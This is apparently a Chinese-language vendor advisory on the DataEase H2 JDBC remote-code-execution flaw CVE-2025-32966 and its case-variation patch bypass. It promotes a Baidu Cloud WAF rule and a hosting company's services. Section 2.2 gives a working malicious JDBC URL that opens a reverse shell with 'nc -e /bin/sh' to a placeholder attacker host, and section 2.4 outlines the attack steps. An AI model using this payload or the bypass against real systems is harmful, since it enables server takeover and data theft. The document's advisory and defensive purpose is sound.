当你构建的数据源“连接字符串”被黑客精心改造后,它不再是通往数据库的桥梁,而是变成了在服务器上执行任意命令的“遥控器”。近期,开源 BI 工具 DataEase 被曝出存在一个高危漏洞,攻击者仅需一个普通的后台账号,就能在服务器上执行任意代码,甚至直接接管服务器。百度云防护 WAF 已内置针对此漏洞的防御规则(规则 ID 4230),可在代码层修复前提供“虚拟补丁”级的即时拦截。
一、 漏洞速览:高风险 JDBC 注入导致远程代码执行
- 漏洞名称:DataEase H2 JDBC 连接远程代码执行漏洞
- CVE 编号:CVE-2025-32966
- 公开时间:2025 年 4 月下旬
- CVSS 评分:7.5(高风险)
- 漏洞类型:JDBC 注入导致远程代码执行
- 利用前提:普通权限或低权限的认证用户
- 影响范围:DataEase 2.10.8 之前的所有版本
- 官方修复:DataEase v2.10.8
二、 拆解攻击链:一个小数点如何撬动整个服务器
2.1 代码层面的漏洞根源
核心代码位于io.dataease.datasource.provider.CalciteProvider#getConnection。该函数处理用户提交的 JDBC 连接串时,未对输入进行严格的安全检查和过滤,直接将用户参数拼接到 H2 数据库的连接配置中。
攻击者可以在后台的“数据源”管理功能中提交恶意字符串,使 H2 数据库“主动”执行恶意代码。
2.2 攻击载荷示例
在 DataEase 后台数据源管理 → 新建数据源,选择 H2 类型,在 JDBC URL 框中替换为一个精心构造的恶意 JDBC URL:
jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS IF NOT EXISTS SHELLEXEC AS 'void exec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);}';CALL SHELLEXEC ('nc -e /bin/sh attacker-ip 4444')
该载荷利用 H2 数据库的
INIT功能创建了一个别名SHELLEXEC,其中调用了 Java 的Runtime.getRuntime().exec(cmd)来执行系统命令。示例中的nc -e /bin/sh attacker-ip 4444是一个反弹 Shell 操作,而touch /tmp/1则是创建一个空文件用于测试漏洞是否存在。
2.3 社区后续发现:补丁绕过(CVE-2025-49002)
安全社区后续发现,此前针对 CVE-2025-32966 的黑名单防御(禁止 INIT、RUNSCRIPT 等关键词)存在明显缺陷。开发者利用 Java 语言对大小写不敏感的特性,将 INIT 替换为 InIt 或 INit,即可轻松绕过补丁。真正的彻底修复直到版本 2.10.10 才完成。
2.4 完整的四步攻击流程
- 账号获取与权限定位:该漏洞需要登录权限。攻击者可通过钓鱼邮件、信息泄露或利用其他未授权漏洞(如 CVE-2025-49001 导致的认证绕过)获取一个 DataEase 的普通账号。
- 准备攻击载荷:在本地或测试环境构造好上述恶意 JDBC URL 后,进行本地验证。
- 触发漏洞:登录 DataEase 后台,创建一个新的 H2 数据源,并将 JDBC URL 替换为准备好的恶意字符串。点击“测试连接”或“保存”时,嵌入的恶意代码将在服务器上执行。
- 权限扩散:反弹 Shell 建立后,服务器彻底沦陷。攻击者是数据源的“管理员”,可以窃取、删除服务器上的一切数据,并进行横向渗透。
三、 漏洞危害:数据源是船,但 RCE 是岸
漏洞的核心危害是任意代码执行(RCE),CVSS 评分达到 7.5(高风险)。一旦被利用,可能导致:
- 服务器沦陷:反弹 Shell 获得服务器完全控制权。
- 数据大屠杀:清除数据库、格式化磁盘,或拖走所有 BI 报表、用户数据集。
- 勒索与后门:植入挖矿程序或勒索病毒,或留下复活后门。
- APT 跳板:BI 工具常部署在核心数据区,是攻击者跳向内网的高价值目标。
四、 百度云防护:用户等不到补丁时的“安全底牌”
关键的问题来了:在官方的补丁或版本升级落地前,怎么防?
4.1 内置规则,默认可拦截
根据百度云防护最新规则库更新,其 WAF 已内置针对此漏洞的专项检测规则:
| 规则名称 | 规则 ID | 风险等级 | 防护类型 | 受影响组件 |
|---|---|---|---|---|
| Cmd_exec.CVE-2025-32966.A | 4230 | 高风险 | 命令执行 | DataEase(H2 JDBC) |
这条规则是百度云防护 4 月下旬大规模规则库更新的一部分,由百度安全团队在漏洞细节公开后迅速上线。
4.2 规则的精准防御机制
规则 4230 通过监控对/de2api/datasource/validate等后台数据源校验接口的请求流量,精准识别并拦截针对 CVE-2025-32966 的攻击尝试。
无论攻击者使用 SQL 关键词变形(如 INIT 写成 InIt 以绕过补丁),还是极长的混淆字符串,攻击流量中都会包含试图创建恶意别名并执行系统命令的异常参数。WAF 可根据语义特征而非简单的黑名单,在毫秒内判定并拦截该恶意请求。
4.3 为什么 WAF 防御优于等待补丁?
- 时间差:官方修复版 2.10.8 存在可被绕过的隐患,2.10.10 版本才真正修复。普通用户等待升级的空窗期可能长达数月。
- 风险隔离:即使攻击者拿到普通账号,只要 WAF 开启,恶意 JDBC 连接串在到达服务器前就会被阻断。
- 成本可控:百度云防护采用套餐计费,用完即停,不会因被攻击而产生天价后付费账单。
五、 企业应急响应建议
| 措施 | 优先级 | 说明 |
|---|---|---|
| 开启百度云防护 WAF,确认规则 ID 4230 为拦截状态 | 最高 | 即刻为服务器套上“虚拟补丁”,作为修复前的第一道防线 |
| 升级 DataEase | 高 | 升级至最新的 v2.10.14 版本或以上 |
| 权限缩窄 | 中 | 检查所有非管理员账号,禁用不必要的 API 接口,最小化 JWT 令牌的权限范围 |
| 监控与阻断 | 中 | 在 WAF 或防火墙中严密监控对 datasource/validate 等关键 API 路径的异常访问 |
如果你的团队无法立即升级版本,请马上联系主机吧的技术工程师,我们将协助你快速接入百度云防护并开启针对 DataEase 漏洞的拦截规则。


